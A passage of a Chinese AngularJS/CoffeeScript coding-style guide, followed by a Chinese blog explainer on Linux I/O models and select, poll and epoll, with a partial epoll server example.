因为我们使用的单一职责的原则，每一个组建一个文件，在定义组建的时候你已经用angular.module来介绍这个组建是哪个模块的了。



    -- 不推荐 --
    app = angular.module('app', [
        'ngAnimate'
        'ngRoute'
        'app.shared'
        'app.dashboard'
    ])


下面是不用变量的语法

    -- 推荐方式 --
    angular
        .module('app', [
        'ngAnimate'
        'ngRoute'
        'app.shared'
        'app.dashboard'
    ])

拓展：当使用模块的时候，不要用变量，要用链式定义的语法

这样做能够使代码的可读性更高，同时也能避免变量的泄露和碰撞（重名）



    -- 不推荐--
    app = angular.module('app')
    app.controller('SomeController' , SomeController)
    SomeController = ()->
    
    --推荐方式--
    SomeController = ()->
    
    angular
      .module('app')
      .controller('SomeController' , SomeController)
      

设置 vs 获取所有的实例只要设置一次

一个模块只要被创建一次，之后的模块获取只要通过这个切入点来获取就可以了




	用 angular.module('app', []) 来设置模块


	用angular.module('app')来获取模块




命名函数 vs 匿名函数：使用命名函数来代替向回掉函数传递匿名函数

这样能够是代码的可读性更高，更加容易debug，减少回调函数的嵌套



    -- 不推荐 --
    angular
      .module('app')
      .controller('Dashboard', ()->)
      .factory('logger', ()-> )
      
    --推荐方式--
    --dashboard.js--
    Dashboard = ()->
      # logic goes here -->
      return
    
    angular
      .module('app')
      .controller('Dashboard', Dashboard)

    --推荐方式--
    -- logger.js --
    logger = ()->
      # logic goes here -->
      return
    
    angular
      .module('app')
      .factory('logger', logger)

IIFE（立即调用函数表达式）：把angular 组建包裹在能够马上调用的函数表达式中

IIFE 把变量从全局作用域里解放出来，这样做能防止把变量和函数定义在全局作用句中从而造成变量的碰撞（）变量重名造成的莫名其妙的bug）



(->
  logger = ()->
    # logic goes here -->
    return
    
  angular
    .module('app')
    .factory('logger', logger);

)()

主意：为了使代码更加简洁，下面的编程先省略 IIFE 语法

3. 控制器

controller as view 语法：用 controllerAs语法来代替经典的把controller 绑定到  $scope 作用域的语法


	控制器是一个构造类，需要通过newed来创建一个新的实例，但是controllerAS语法更像 javascript 的构造函数


	这样的用法能够促进我们在视图中绑定对应对象的变量（ 用customer.name来取代name）等等，这样能够是我们的代码更易读，避免我们没有指定对象的时候的一些参考问题。


	
能够让我们避免在视图中的嵌套控制器中使用$parent来调用父级控制器

        -- 不推荐 --
        <div ng-controller="Customer">
          {{ name }}
        </div>
        -- 推荐方式 --
        <div ng-controller="Customer as customer">
          {{ customer.name }}
        </div>






controllerAs Controller Syntax：用controllerAs来代替传统的将控制器绑定到$scope的语法


	controllerAs通过 this来从控制器的内部把返回的内容绑定到$scope 上
controllerAs在语法上比 $scope要友好，使用controllerAs 你依旧可以把把数据绑定到视图，依旧可以访问绑定在$scope上的方法


	能够避免可能把方法定义到服务上更好的时候，想要将控制器中的方法绑定到$scope上，在服务中要考虑$scope 的用法，在控制器中只有必要的时候才能绑定到$scope上，举个例子，当要通过$emit,$broadcast,$on来传递和接收事件的时候，要在服务中定义，再在控制器中调用
主意：介于 coffeescript 会自动返回最后一行，我们最好在函数的最后一行加上一个return 声明（即使这个函数没有任何东西返回），大多数上可以没有返回声明，但是在我自己的开发过程中，没有返回声明的时候，会报错，所以建议还是加上这个返回声明




    -- 不推荐 --
    (->
      Customer = ($scope)->
        $scope.name = {}
        $scope.sendMessage = ()->
      angular
        .module('app')
        .controller('Customer', Customer)
    )()


    -- 推荐方法 --
    (->
      Customer = ()->
        @name = {}
        @sendMessage = ()->
        return
    
      angular
        .module('app')
        .controller('Customer', Customer)
    )()


controllerAS with vm当使用controllerAs语法时，用一个变量来代替 this ，找一个统一的变量名来代替视图模型例如 vm

this关键字是联系上下文的，当在控制器中使用函数的时候可能会改变上下文，为了避免这样的情况，最好用一个变量来捕获this

    --不推荐--
    (->
      Customer = ()->
        @name = {}
        @sendMessage = ()->
          # here @/this is not the same
          @stuff = "stuff"
    
        return
      angular
        .module('app')
        .controller('Customer', Customer)
    )()
    
    
    --推荐方式--
    (->
      Customer = ()->
        vm = @
        vm.name = {}
        vm.sendMessage = ()->
        
        return
      angular
        .module('app')
        .controller('Customer', Customer)
    )() 
    

【tip】

    
    ### OR use the fat arrow in functions => ###
    (->
      Customer = ()->
        @name = {}
        @sendMessage = ()=>
          @stuff
    
        return
      angular
        .module('app')
        .controller('Customer', Customer)
    )()


【note】：你可以把下面这段代码放到你的代码的最前一行，来避免一些组建的语法检查

    ### jshint validthis: true ###
    vm = @


把变量放在控制器的最前面

把数据绑定的变量成员（按照字母顺序）放在控制器的最前面，而不是遍布在整个控制器中。

把数据绑定的变量成员放在控制器的最前面,使程序更加易读，帮你立即分辨控制器中这个变量成员可以绑定在视图中



    -- 不推荐 --
    function SessionsController() {
        var vm = this;
    
        vm.gotoSession = function() {
          /* ... */
        };
        vm.refresh = function() {
          /* ... */
        };
        vm.search = function() {
          /* ... */
        };
        vm.sessions = [];
        vm.title = 'Sessions';
    }
    
    -- 推荐方式 --
    function SessionsController() {
        var vm = this;
    
        vm.gotoSession = gotoSession;
        vm.refresh = refresh;
        vm.search = search;
        vm.sessions = [];
        vm.title = 'Sessions';
    
        ////////////
    
        function gotoSession() {
          /* */
        }
    
        function refresh() {
          /* */
        }
    
        function search() {
          /* */
        }
    }

【note】 如果函数是一行的就把函数也放在控制器的前面，这样做对代码的阅读性不会有影响

    /* 不推荐*/
    function SessionsController(data) {
        var vm = this;
    
        vm.gotoSession = gotoSession;
        vm.refresh = function() {
            blabla
        };
        vm.search = search;
        vm.sessions = [];
        vm.title = 'Sessions';
    }
    
    
    
    /* 推荐方法*/
    function SessionsController(sessionDataService) {
        var vm = this;
    
        vm.gotoSession = gotoSession;
        vm.refresh = sessionDataService.refresh; // 1 liner is OK
        vm.search = search;
        vm.sessions = [];
        vm.title = 'Sessions';
    }
    

函数声明，隐藏实现细节

函数声明，隐藏实现的细节。把用于数据绑定的变量成员的声明，放在控制器的前面，实现放在文件的后面。


	把数据绑定的成员放在前面易于代码的阅读，能让你一眼就分辨出哪个变量用于视图的哪块区域的绑定


	把函数的实现放在文件的后面，把函数实现这部分比较复杂的部分放在后面。能让你直接看到函数声明这部分重要的信息


	因为函数的声明被提升了，所以在函数定义前，你是不需要关心这个函数的


	你不需要担心函数声明的位子移动的问题，你不用担心"因为a函数是依赖于b函数的，a函数移动到b函数前面会让你的代码出错"这样子的问题


	
顺序在函数表达式中很重要

   /*不建议使用函数表达式*/
   function AvengersController(avengersService, logger) {
       var vm = this;
       vm.avengers = [];
       vm.title = 'Avengers';
   
       var activate = function() {
           return getAvengers().then(function() {
               logger.info('Activated Avengers View');
           });
       }
   
       var getAvengers = function() {
           return avengersService.getAvengers().then(function(data) {
               vm.avengers = data;
               return vm.avengers;
           });
       }
   
       vm.getAvengers = getAvengers;
   
       activate();
   }






主意上面的例子中把重要的函数声明分散在控制器中，但在下面的例子中重要的函数声明都被提升到了顶部。举个栗子，函数绑定变量如vm.avengers 和vm.title，把函数实现的细节放在后面，这样更加有利于代码的阅读

    /*  推荐方法 */
    function AvengersController(avengersService, logger) {
        var vm = this;
        vm.avengers = [];
        vm.getAvengers = getAvengers;
        vm.title = 'Avengers';
    
        activate();
    
        function activate() {
            return getAvengers().then(function() {
                logger.info('Activated Avengers View');
            });
        }
    
        function getAvengers() {
            return avengersService.getAvengers().then(function(data) {
                vm.avengers = data;
                return vm.avengers;
            });
        }
    }


把控制器的逻辑定义放到服务中


	逻辑可能会在多个控制器中复用，通过封装在服务中来通过函数暴露给控制器


	把逻辑封装在服务中，能更容易在单元测试中分离成独立作用域，在控制器中调用函数也更容易模拟


	从控制器中移除依赖，把实现细节隐藏起来


	
让控制器变得简单，苗条，且专注

   /* 不推荐 */
   function OrderController($http, $q, config, userInfo) {
       var vm = this;
       vm.checkCredit = checkCredit;
       vm.isCreditOk;
       vm.total = 0;
   
       function checkCredit() {
           var settings = {};
           // Get the credit service base URL from config
           // Set credit service required headers
           // Prepare URL query string or data object with request data
           // Add user-identifying info so service gets the right credit limit for this user.
           // Use JSONP for this browser if it doesn't support CORS
           return $http.get(settings)
               .then(function(data) {
                // Unpack JSON data in the response object
                  // to find maxRemainingAmount
                  vm.isCreditOk = vm.total <= maxRemainingAmount
               })
               .catch(function(error) {
                  // Interpret error
                  // Cope w/ timeout? retry? try alternate service?
                  // Re-reject with appropriate error for a user to see
               });
       };
   }
   /* 推荐方法 */
   function OrderController(creditService) {
       var vm = this;
       vm.checkCredit = checkCredit;
       vm.isCreditOk;
       vm.total = 0;
   
       function checkCredit() {
          return creditService.isOrderTotalOk(vm.total)
             .then(function(isOk) { vm.isCreditOk = isOk; })
             .catch(showError);
       };
   }






使控制器变得专注

为一个视图定义一个控制器，不要讲一个控制器为多个视图复用，要把复用的逻辑封装到服务中，保证一个控制器只专注于他的视图

给多个视图复用的控制器是很脆的，一个好的 E2E测试覆盖率是用来确定一个应用的稳定性的

路由分配

当一个控制器必须和某个视图绑定但也有可能和其他视图或者控制器复用，把控制器的定义和路由条状一起定义

【note】如果一个视图不是通过路由而是通过其他方式加载的，请用ng-controller="Avengers as vm"语法

在路由中分配控制器，允许不同的路由去调用不同的控制器和视图，当控制器是在视图中通过ng-controller 进行声明，那么这个视图就要和这个控制器一直关联

    /* 不推荐 */
    
    // route-config.js
    angular
        .module('app')
        .config(config);
    
    function config($routeProvider) {
        $routeProvider
            .when('/avengers', {
              templateUrl: 'avengers.html'
            });
    }
    
    <!-- avengers.html -->
    <div ng-controller="AvengersController as vm">
    </div>
    
    
    
    /* 推荐方式 */
    
    // route-config.js
    angular
        .module('app')
        .config(config);
    
    function config($routeProvider) {
        $routeProvider
            .when('/avengers', {
                templateUrl: 'avengers.html',
                controller: 'Avengers',
                controllerAs: 'vm'
            });
    }
    <!-- avengers.html -->
    <div>
    </div>
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  注：本文是对众多博客的学习和总结，可能存在理解错误。请带着怀疑的眼光，同时如果有错误希望能指出。




同步IO和异步IO，阻塞IO和非阻塞IO分别是什么，到底有什么区别？不同的人在不同的上下文下给出的答案是不同的。所以先限定一下本文的上下文。


本文讨论的背景是Linux环境下的network IO。



一 概念说明


在进行解释之前，首先要说明几个概念：

- 用户空间和内核空间

- 进程切换

- 进程的阻塞

- 文件描述符

- 缓存 I/O


用户空间与内核空间


现在操作系统都是采用虚拟存储器，那么对32位操作系统而言，它的寻址空间（虚拟存储空间）为4G（2的32次方）。操作系统的核心是内核，独立于普通的应用程序，可以访问受保护的内存空间，也有访问底层硬件设备的所有权限。为了保证用户进程不能直接操作内核（kernel），保证内核的安全，操心系统将虚拟空间划分为两部分，一部分为内核空间，一部分为用户空间。针对linux操作系统而言，将最高的1G字节（从虚拟地址0xC0000000到0xFFFFFFFF），供内核使用，称为内核空间，而将较低的3G字节（从虚拟地址0x00000000到0xBFFFFFFF），供各个进程使用，称为用户空间。


进程切换


为了控制进程的执行，内核必须有能力挂起正在CPU上运行的进程，并恢复以前挂起的某个进程的执行。这种行为被称为进程切换。因此可以说，任何进程都是在操作系统内核的支持下运行的，是与内核紧密相关的。


从一个进程的运行转到另一个进程上运行，这个过程中经过下面这些变化：

1. 保存处理机上下文，包括程序计数器和其他寄存器。

2. 更新PCB信息。

3. 把进程的PCB移入相应的队列，如就绪、在某事件阻塞等队列。

4. 选择另一个进程执行，并更新其PCB。

5. 更新内存管理的数据结构。

6. 恢复处理机上下文。


注：总而言之就是很耗资源，具体的可以参考这篇文章：进程切换


进程的阻塞


正在执行的进程，由于期待的某些事件未发生，如请求系统资源失败、等待某种操作的完成、新数据尚未到达或无新工作做等，则由系统自动执行阻塞原语(Block)，使自己由运行状态变为阻塞状态。可见，进程的阻塞是进程自身的一种主动行为，也因此只有处于运行态的进程（获得CPU），才可能将其转为阻塞状态。当进程进入阻塞状态，是不占用CPU资源的。


文件描述符fd


文件描述符（File descriptor）是计算机科学中的一个术语，是一个用于表述指向文件的引用的抽象化概念。


文件描述符在形式上是一个非负整数。实际上，它是一个索引值，指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时，内核向进程返回一个文件描述符。在程序设计中，一些涉及底层的程序编写往往会围绕着文件描述符展开。但是文件描述符这一概念往往只适用于UNIX、Linux这样的操作系统。


缓存 I/O


缓存 I/O 又被称作标准 I/O，大多数文件系统的默认 I/O 操作都是缓存 I/O。在 Linux 的缓存 I/O 机制中，操作系统会将 I/O 的数据缓存在文件系统的页缓存（ page cache ）中，也就是说，数据会先被拷贝到操作系统内核的缓冲区中，然后才会从操作系统内核的缓冲区拷贝到应用程序的地址空间。


缓存 I/O 的缺点：

数据在传输过程中需要在应用程序地址空间和内核进行多次数据拷贝操作，这些数据拷贝操作所带来的 CPU 以及内存开销是非常大的。


二 IO模式


刚才说了，对于一次IO访问（以read举例），数据会先被拷贝到操作系统内核的缓冲区中，然后才会从操作系统内核的缓冲区拷贝到应用程序的地址空间。所以说，当一个read操作发生时，它会经历两个阶段：

1. 等待数据准备 (Waiting for the data to be ready)

2. 将数据从内核拷贝到进程中 (Copying the data from the kernel to the process)


正式因为这两个阶段，linux系统产生了下面五种网络模式的方案。

- 阻塞 I/O（blocking IO）

- 非阻塞 I/O（nonblocking IO）

- I/O 多路复用（ IO multiplexing）

- 信号驱动 I/O（ signal driven IO）

- 异步 I/O（asynchronous IO）


注：由于signal driven IO在实际中并不常用，所以我这只提及剩下的四种IO Model。


阻塞 I/O（blocking IO）


在linux中，默认情况下所有的socket都是blocking，一个典型的读操作流程大概是这样：



当用户进程调用了recvfrom这个系统调用，kernel就开始了IO的第一个阶段：准备数据（对于网络IO来说，很多时候数据在一开始还没有到达。比如，还没有收到一个完整的UDP包。这个时候kernel就要等待足够的数据到来）。这个过程需要等待，也就是说数据被拷贝到操作系统内核的缓冲区中是需要一个过程的。而在用户进程这边，整个进程会被阻塞（当然，是进程自己选择的阻塞）。当kernel一直等到数据准备好了，它就会将数据从kernel中拷贝到用户内存，然后kernel返回结果，用户进程才解除block的状态，重新运行起来。



  所以，blocking IO的特点就是在IO执行的两个阶段都被block了。




非阻塞 I/O（nonblocking IO）


linux下，可以通过设置socket使其变为non-blocking。当对一个non-blocking socket执行读操作时，流程是这个样子：



当用户进程发出read操作时，如果kernel中的数据还没有准备好，那么它并不会block用户进程，而是立刻返回一个error。从用户进程角度讲 ，它发起一个read操作后，并不需要等待，而是马上就得到了一个结果。用户进程判断结果是一个error时，它就知道数据还没有准备好，于是它可以再次发送read操作。一旦kernel中的数据准备好了，并且又再次收到了用户进程的system call，那么它马上就将数据拷贝到了用户内存，然后返回。



  所以，nonblocking IO的特点是用户进程需要不断的主动询问kernel数据好了没有。




I/O 多路复用（ IO multiplexing）


IO multiplexing就是我们说的select，poll，epoll，有些地方也称这种IO方式为event driven IO。select/epoll的好处就在于单个process就可以同时处理多个网络连接的IO。它的基本原理就是select，poll，epoll这个function会不断的轮询所负责的所有socket，当某个socket有数据到达了，就通知用户进程。





当用户进程调用了select，那么整个进程会被block，而同时，kernel会“监视”所有select负责的socket，当任何一个socket中的数据准备好了，select就会返回。这个时候用户进程再调用read操作，将数据从kernel拷贝到用户进程。



  所以，I/O 多路复用的特点是通过一种机制一个进程能同时等待多个文件描述符，而这些文件描述符（套接字描述符）其中的任意一个进入读就绪状态，select()函数就可以返回。




这个图和blocking IO的图其实并没有太大的不同，事实上，还更差一些。因为这里需要使用两个system call (select 和 recvfrom)，而blocking IO只调用了一个system call (recvfrom)。但是，用select的优势在于它可以同时处理多个connection。


所以，如果处理的连接数不是很高的话，使用select/epoll的web server不一定比使用multi-threading + blocking IO的web server性能更好，可能延迟还更大。select/epoll的优势并不是对于单个连接能处理得更快，而是在于能处理更多的连接。）


在IO multiplexing Model中，实际中，对于每一个socket，一般都设置成为non-blocking，但是，如上图所示，整个用户的process其实是一直被block的。只不过process是被select这个函数block，而不是被socket IO给block。


异步 I/O（asynchronous IO）


inux下的asynchronous IO其实用得很少。先看一下它的流程：



用户进程发起read操作之后，立刻就可以开始去做其它的事。而另一方面，从kernel的角度，当它受到一个asynchronous read之后，首先它会立刻返回，所以不会对用户进程产生任何block。然后，kernel会等待数据准备完成，然后将数据拷贝到用户内存，当这一切都完成之后，kernel会给用户进程发送一个signal，告诉它read操作完成了。


总结


blocking和non-blocking的区别


调用blocking IO会一直block住对应的进程直到操作完成，而non-blocking IO在kernel还准备数据的情况下会立刻返回。


synchronous IO和asynchronous IO的区别


在说明synchronous IO和asynchronous IO的区别之前，需要先给出两者的定义。POSIX的定义是这样子的：

-  A synchronous I/O operation causes the requesting process to be blocked until that I/O operation completes;

-  An asynchronous I/O operation does not cause the requesting process to be blocked;


两者的区别就在于synchronous IO做”IO operation”的时候会将process阻塞。按照这个定义，之前所述的blocking IO，non-blocking IO，IO multiplexing都属于synchronous IO。


有人会说，non-blocking IO并没有被block啊。这里有个非常“狡猾”的地方，定义中所指的”IO operation”是指真实的IO操作，就是例子中的recvfrom这个system call。non-blocking IO在执行recvfrom这个system call的时候，如果kernel的数据没有准备好，这时候不会block进程。但是，当kernel中数据准备好的时候，recvfrom会将数据从kernel拷贝到用户内存中，这个时候进程是被block了，在这段时间内，进程是被block的。


而asynchronous IO则不一样，当进程发起IO 操作之后，就直接返回再也不理睬了，直到kernel发送一个信号，告诉进程说IO完成。在这整个过程中，进程完全没有被block。


各个IO Model的比较如图所示：



通过上面的图片，可以发现non-blocking IO和asynchronous IO的区别还是很明显的。在non-blocking IO中，虽然进程大部分时间都不会被block，但是它仍然要求进程去主动的check，并且当数据准备完成以后，也需要进程主动的再次调用recvfrom来将数据拷贝到用户内存。而asynchronous IO则完全不同。它就像是用户进程将整个IO操作交给了他人（kernel）完成，然后他人做完后发信号通知。在此期间，用户进程不需要去检查IO操作的状态，也不需要主动的去拷贝数据。


三 I/O 多路复用之select、poll、epoll详解


select，poll，epoll都是IO多路复用的机制。I/O多路复用就是通过一种机制，一个进程可以监视多个描述符，一旦某个描述符就绪（一般是读就绪或者写就绪），能够通知程序进行相应的读写操作。但select，poll，epoll本质上都是同步I/O，因为他们都需要在读写事件就绪后自己负责进行读写，也就是说这个读写过程是阻塞的，而异步I/O则无需自己负责进行读写，异步I/O的实现会负责把数据从内核拷贝到用户空间。（这里啰嗦下）


select


int select (int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout);



select 函数监视的文件描述符分3类，分别是writefds、readfds、和exceptfds。调用后select函数会阻塞，直到有描述副就绪（有数据 可读、可写、或者有except），或者超时（timeout指定等待时间，如果立即返回设为null即可），函数返回。当select函数返回后，可以 通过遍历fdset，来找到就绪的描述符。


select目前几乎在所有的平台上支持，其良好跨平台支持也是它的一个优点。select的一 个缺点在于单个进程能够监视的文件描述符的数量存在最大限制，在Linux上一般为1024，可以通过修改宏定义甚至重新编译内核的方式提升这一限制，但 是这样也会造成效率的降低。


poll


int poll (struct pollfd *fds, unsigned int nfds, int timeout);



不同与select使用三个位图来表示三个fdset的方式，poll使用一个 pollfd的指针实现。


struct pollfd {
    int fd; /* file descriptor */
    short events; /* requested events to watch */
    short revents; /* returned events witnessed */
};



pollfd结构包含了要监视的event和发生的event，不再使用select“参数-值”传递的方式。同时，pollfd并没有最大数量限制（但是数量过大后性能也是会下降）。 和select函数一样，poll返回后，需要轮询pollfd来获取就绪的描述符。



  从上面看，select和poll都需要在返回后，通过遍历文件描述符来获取已经就绪的socket。事实上，同时连接的大量客户端在一时刻可能只有很少的处于就绪状态，因此随着监视的描述符数量的增长，其效率也会线性下降。




epoll


epoll是在2.6内核中提出的，是之前的select和poll的增强版本。相对于select和poll来说，epoll更加灵活，没有描述符限制。epoll使用一个文件描述符管理多个描述符，将用户关系的文件描述符的事件存放到内核的一个事件表中，这样在用户空间和内核空间的copy只需一次。


一 epoll操作过程


epoll操作过程需要三个接口，分别如下：


int epoll_create(int size)；//创建一个epoll的句柄，size用来告诉内核这个监听的数目一共有多大
int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event)；
int epoll_wait(int epfd, struct epoll_event * events, int maxevents, int timeout);



1. int epoll_create(int size);

创建一个epoll的句柄，size用来告诉内核这个监听的数目一共有多大，这个参数不同于select()中的第一个参数，给出最大监听的fd+1的值，参数size并不是限制了epoll所能监听的描述符最大个数，只是对内核初始分配内部数据结构的一个建议。

当创建好epoll句柄后，它就会占用一个fd值，在linux下如果查看/proc/进程id/fd/，是能够看到这个fd的，所以在使用完epoll后，必须调用close()关闭，否则可能导致fd被耗尽。


2. int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event)；

函数是对指定描述符fd执行op操作。

- epfd：是epoll_create()的返回值。

- op：表示op操作，用三个宏来表示：添加EPOLL_CTL_ADD，删除EPOLL_CTL_DEL，修改EPOLL_CTL_MOD。分别添加、删除和修改对fd的监听事件。

- fd：是需要监听的fd（文件描述符）

- epoll_event：是告诉内核需要监听什么事，struct epoll_event结构如下：


struct epoll_event {
  __uint32_t events;  /* Epoll events */
  epoll_data_t data;  /* User data variable */
};

//events可以是以下几个宏的集合：
EPOLLIN ：表示对应的文件描述符可以读（包括对端SOCKET正常关闭）；
EPOLLOUT：表示对应的文件描述符可以写；
EPOLLPRI：表示对应的文件描述符有紧急的数据可读（这里应该表示有带外数据到来）；
EPOLLERR：表示对应的文件描述符发生错误；
EPOLLHUP：表示对应的文件描述符被挂断；
EPOLLET： 将EPOLL设为边缘触发(Edge Triggered)模式，这是相对于水平触发(Level Triggered)来说的。
EPOLLONESHOT：只监听一次事件，当监听完这次事件之后，如果还需要继续监听这个socket的话，需要再次把这个socket加入到EPOLL队列里



3. int epoll_wait(int epfd, struct epoll_event * events, int maxevents, int timeout);

等待epfd上的io事件，最多返回maxevents个事件。

参数events用来从内核得到事件的集合，maxevents告之内核这个events有多大，这个maxevents的值不能大于创建epoll_create()时的size，参数timeout是超时时间（毫秒，0会立即返回，-1将不确定，也有说法说是永久阻塞）。该函数返回需要处理的事件数目，如返回0表示已超时。


二 工作模式


　epoll对文件描述符的操作有两种模式：LT（level trigger）和ET（edge trigger）。LT模式是默认模式，LT模式与ET模式的区别如下：

　　LT模式：当epoll_wait检测到描述符事件发生并将此事件通知应用程序，应用程序可以不立即处理该事件。下次调用epoll_wait时，会再次响应应用程序并通知此事件。

　　ET模式：当epoll_wait检测到描述符事件发生并将此事件通知应用程序，应用程序必须立即处理该事件。如果不处理，下次调用epoll_wait时，不会再次响应应用程序并通知此事件。


1. LT模式


LT(level triggered)是缺省的工作方式，并且同时支持block和no-block socket.在这种做法中，内核告诉你一个文件描述符是否就绪了，然后你可以对这个就绪的fd进行IO操作。如果你不作任何操作，内核还是会继续通知你的。


2. ET模式


ET(edge-triggered)是高速工作方式，只支持no-block socket。在这种模式下，当描述符从未就绪变为就绪时，内核通过epoll告诉你。然后它会假设你知道文件描述符已经就绪，并且不会再为那个文件描述符发送更多的就绪通知，直到你做了某些操作导致那个文件描述符不再为就绪状态了(比如，你在发送，接收或者接收请求，或者发送接收的数据少于一定量时导致了一个EWOULDBLOCK 错误）。但是请注意，如果一直不对这个fd作IO操作(从而导致它再次变成未就绪)，内核不会发送更多的通知(only once)


ET模式在很大程度上减少了epoll事件被重复触发的次数，因此效率要比LT模式高。epoll工作在ET模式的时候，必须使用非阻塞套接口，以避免由于一个文件句柄的阻塞读/阻塞写操作把处理多个文件描述符的任务饿死。


3. 总结


假如有这样一个例子：

1. 我们已经把一个用来从管道中读取数据的文件句柄(RFD)添加到epoll描述符

2. 这个时候从管道的另一端被写入了2KB的数据

3. 调用epoll_wait(2)，并且它会返回RFD，说明它已经准备好读取操作

4. 然后我们读取了1KB的数据

5. 调用epoll_wait(2)......


LT模式：

如果是LT模式，那么在第5步调用epoll_wait(2)之后，仍然能受到通知。


ET模式：

如果我们在第1步将RFD添加到epoll描述符的时候使用了EPOLLET标志，那么在第5步调用epoll_wait(2)之后将有可能会挂起，因为剩余的数据还存在于文件的输入缓冲区内，而且数据发出端还在等待一个针对已经发出数据的反馈信息。只有在监视的文件句柄上发生了某个事件的时候 ET 工作模式才会汇报事件。因此在第5步的时候，调用者可能会放弃等待仍在存在于文件输入缓冲区内的剩余数据。


当使用epoll的ET模型来工作时，当产生了一个EPOLLIN事件后，

读数据的时候需要考虑的是当recv()返回的大小如果等于请求的大小，那么很有可能是缓冲区还有数据未读完，也意味着该次事件还没有处理完，所以还需要再次读取：


while(rs){
  buflen = recv(activeevents[i].data.fd, buf, sizeof(buf), 0);
  if(buflen < 0){
    // 由于是非阻塞的模式,所以当errno为EAGAIN时,表示当前缓冲区已无数据可读
    // 在这里就当作是该次事件已处理处.
    if(errno == EAGAIN){
        break;
    }
    else{
        return;
    }
  }
  else if(buflen == 0){
     // 这里表示对端的socket已正常关闭.
  }

 if(buflen == sizeof(buf){
      rs = 1;   // 需要再次读取
 }
 else{
      rs = 0;
 }
}




  Linux中的EAGAIN含义




Linux环境下开发经常会碰到很多错误(设置errno)，其中EAGAIN是其中比较常见的一个错误(比如用在非阻塞操作中)。

    从字面上来看，是提示再试一次。这个错误经常出现在当应用程序进行一些非阻塞(non-blocking)操作(对文件或socket)的时候。


例如，以 O_NONBLOCK的标志打开文件/socket/FIFO，如果你连续做read操作而没有数据可读。此时程序不会阻塞起来等待数据准备就绪返回，read函数会返回一个错误EAGAIN，提示你的应用程序现在没有数据可读请稍后再试。

    又例如，当一个系统调用(比如fork)因为没有足够的资源(比如虚拟内存)而执行失败，返回EAGAIN提示其再调用一次(也许下次就能成功)。


三 代码演示


下面是一段不完整的代码且格式不对，意在表述上面的过程，去掉了一些模板代码。


#define IPADDRESS   "127.0.0.1"
#define PORT        8787
#define MAXSIZE     1024
#define LISTENQ     5
#define FDSIZE      1000
#define EPOLLEVENTS 100

listenfd = socket_bind(IPADDRESS,PORT);

struct epoll_event events[EPOLLEVENTS];

//创建一个描述符
epollfd = epoll_create(FDSIZE);

//添加监听描述符事件
add_event(epollfd,listenfd,EPOLLIN);

//循环等待
for ( ; ; ){
    //该函数返回已经准备好的描述符事件数目
    ret = epoll_wait(epollfd,events,EPOLLEVENTS,-1);
    //处理接收到的连接
    handle_events(epollfd,events,ret,listenfd,buf);
}

//事件处理函数
static void handle_events(int epollfd,struct epoll_event *events,int num,int listenfd,char *buf)
{
     int i;
     int fd;
     //进行遍历;这里只要遍历已经准备好的io事件。num并不是当初epoll_create时的FDSIZE。
     for (i = 0;i < num;i++)
     {
         fd = events[i].data.fd;
        //根据描述符的类型和事件类型进行处理
         if ((fd == listenfd) &&(events[i].events & EPOLLIN))
            handle_accpet(epollfd,listenfd);
         else if (events[i].events & EPOLLIN)
            do_read(epollfd,fd,buf);
         else if (events[i].events & EPOLLOUT)
            do_write(epollfd,fd,buf);
     }
}

//添加事件
static void add_event(int epollfd,int fd,int state){
    struct epoll_event ev;
    ev.events = state;
    ev.data.fd = fd;
    epoll_ctl(epollfd,EPOLL_CTL_ADD,fd,&ev);
}

//处理接收到的连接
static void handle_accpet(int epollfd,int listenfd){
     int clifd;     
     struct sockaddr_in cliaddr;     
     socklen_t  cliaddrlen;     
     clifd = accept(listenfd,(struct sockaddr*)&cliaddr,&cliaddrlen);     
     if (clifd == -1)         
     perror("accpet error:");     
     else {         
         printf("accept a new client: %s:%d\n",inet_ntoa(cliaddr.sin_addr),cliaddr.sin_port);                       //添加一个客户描述符和事件         
         add_event(epollfd,clifd,EPOLLIN);     
     } 
}

//读处理
static void do_read(int epollfd,int fd,char *buf){
    int nread;
    nread = read(fd,buf,MAXSIZE);
    if (nread == -1)     {         
        perror("read error:");         
        close(fd); //记住close fd        
        delete_event(epollfd,fd,EPOLLIN); //删除监听 
    }
    else if (nread == 0)     {         
        fprintf(stderr,"client close.\n");
        close(fd); //记住close fd       
        delete_event(epollfd,fd,EPOLLIN); //删除监听 
    }     
    else {         
        printf("read message is : %s",buf);        
        //修改描述符对应的事件，由读改为写         
        modify_event(epollfd,fd,EPOLLOUT);     
    } 
}

//写处理
static void do_write(int epollfd,int fd,char *buf) {     
    int nwrite;     
    nwrite = write(fd,buf,strlen(buf));     
    if (nwrite == -1){         
        perror("write error:");        
        close(fd);   //记住close fd       
        delete_event(epollfd,fd,EPOLLOUT);  //删除监听    
    }else{
        modify_event(epollfd,fd,EPOLLIN); 
    }    
    memset(buf,0,MAXSIZE); 
}

//删除事件
static void delete_event(int epollfd,int fd,int state) {
    struct epoll_event ev;
    ev.events = state;
    ev.data.fd = fd;
    epoll_ctl(epollfd,EPOLL_CTL_DEL,fd,&ev);
}

//修改事件
static void modify_event(int epollfd,int fd,int state){     
    struct epoll_event ev;
    ev.events = state;
    ev.data.fd = fd;
    epoll_ctl(epollfd,EPOLL_CTL_MOD,fd,&ev);
}

//注：另外一端我就省了



四 epoll总结


在 select/poll中，进程只有在调用一定的方法后，内核才对所有监视的文件描述符进行扫描，而epoll事先通过epoll_ctl()来注册一 个文件描述符，一旦基于某个文件描述符就绪时，内核会采用类似callback的回调机制，迅速激活这个文件描述符，当进程调用epoll_wait() 时便得到通知。(此处去掉了遍历文件描述符，而是通过监听回调的的机制。这正是epoll的魅力所在。)


epoll的优点主要是一下几个方面：

1. 监视的描述符数量不受限制，它所支持的FD上限是最大可以打开文件的数目，这个数字一般远大于2048,举个例子,在1GB内存的机器上大约是10万左 右，具体数目可以cat /proc/sys/fs/file-max察看,一般来说这个数目和系统内存关系很大。select的最大缺点就是进程打开的fd是有数量限制的。这对 于连接数量比较大的服务器来说根本不能满足。虽然也可以选择多进程的解决方案( Apache就是这样实现的)，不过虽然linux上面创建进程的代价比较小，但仍旧是不可忽视的，加上进程间数据同步远比不上线程间同步的高效，所以也不是一种完美的方案。



	IO的效率不会随着监视fd的数量的增长而下降。epoll不同于select和poll轮询的方式，而是通过每个fd定义的回调函数来实现的。只有就绪的fd才会执行回调函数。




